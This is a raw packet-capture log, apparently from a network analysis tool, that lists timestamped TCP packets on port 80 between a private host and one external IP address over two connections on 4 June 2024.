Jun 4, 2024 23:09:13.178045988 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178050995 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178081036 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178086042 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178117990 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178128004 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178153038 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178158045 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178188086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178220034 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178224087 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178227901 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178260088 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178271055 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178293943 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178298950 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178330898 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178332090 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178365946 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178381920 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178402901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178406000 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178438902 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178451061 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178474903 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178478956 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178509951 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178529024 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178545952 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178548098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178584099 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178595066 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178620100 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178622961 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178666115 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178668022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178674936 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178710938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178740025 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178740025 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178746939 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178756952 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178786993 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178792000 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178797960 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178817034 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178833961 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178834915 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178868055 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178883076 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178914070 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178932905 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178942919 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.178970098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.178976059 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179003954 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179006100 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179039955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179047108 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179075956 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179085970 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179111004 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179121971 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179147005 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179152012 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179184914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179209948 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179224968 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179233074 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179274082 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179282904 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179307938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179312944 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179342031 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179343939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179378033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179388046 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179414988 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179416895 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179430008 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179450989 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179461002 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179485083 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179502964 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179526091 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179542065 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179553986 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179577112 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179584026 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179613113 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179619074 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179651022 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179652929 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179686069 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179692030 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179721117 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179732084 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179755926 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179766893 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179792881 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179796934 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179828882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179828882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179864883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179873943 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179900885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179909945 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179938078 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179946899 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.179974079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.179979086 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180008888 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180018902 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180046082 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180052996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180079937 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180085897 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180115938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180120945 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180151939 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180164099 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180190086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180193901 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180224895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180231094 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180262089 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180267096 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180296898 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180306911 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180332899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180336952 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180367947 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180372953 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180403948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180411100 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180439949 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180439949 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180474997 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180490017 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180517912 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.180524111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.180571079 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.887506008 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.889283895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.893150091 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.893224001 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.894218922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.894423962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.894773960 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.900052071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:14.806104898 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:14.806229115 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:14.829191923 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:14.834233046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111059904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111088991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111105919 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111149073 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111238003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111249924 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111259937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111272097 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111273050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.111273050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.111291885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111304998 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111315966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.111339092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.111339092 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.112517118 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.117670059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.117686033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.117698908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.117710114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.117808104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.117808104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.270373106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270390034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270407915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270417929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270456076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.270524979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.270586967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270641088 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.270663977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270678043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270690918 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.270746946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.270746946 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.271244049 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271255970 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271303892 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.271394968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271451950 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271465063 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271476030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.271507025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.271507025 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.272030115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.272106886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.272119045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.272130013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.272140980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.272147894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.272147894 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.272202015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.272202015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.272984982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.273010969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.273024082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.273057938 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.273061037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.273061037 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.273071051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.273102999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.273121119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.273978949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.274055004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.274075031 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.274152040 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.275316000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.275454044 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430157900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430176020 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430196047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430203915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430207968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430213928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430224895 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430232048 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430284977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430284977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430377960 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430397987 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430490017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430537939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430537939 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430594921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430607080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430619955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430632114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430644035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430672884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430696964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430696964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430720091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.430725098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.430979013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431027889 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431077957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431077957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431153059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431166887 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431179047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431190968 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431204081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431219101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431219101 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431277990 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431428909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431441069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431452990 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431485891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431489944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431489944 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431498051 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431509018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431521893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431531906 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431535006 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.431551933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.431581974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432359934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432420015 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432493925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432514906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432528973 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432540894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432553053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432565928 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432579041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432590961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432590961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432590961 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432604074 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432617903 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432617903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432629108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432641029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432653904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432656050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432656050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432694912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432694912 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.432962894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432976007 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.432988882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.433048010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.433048964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.433048964 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.433062077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.433074951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.433131933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.433131933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.589751959 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.589778900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.589792013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.589802027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.589850903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.589850903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590147972 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590158939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590240002 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590281010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590291977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590302944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590317011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590363979 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590364933 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590379000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590389967 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590460062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590460062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590534925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590553999 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590568066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590580940 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590594053 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590637922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590637922 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:15.590728045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590739965 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:15.590852976 CEST	80	49713	77.91.77.81	192.168.2.11
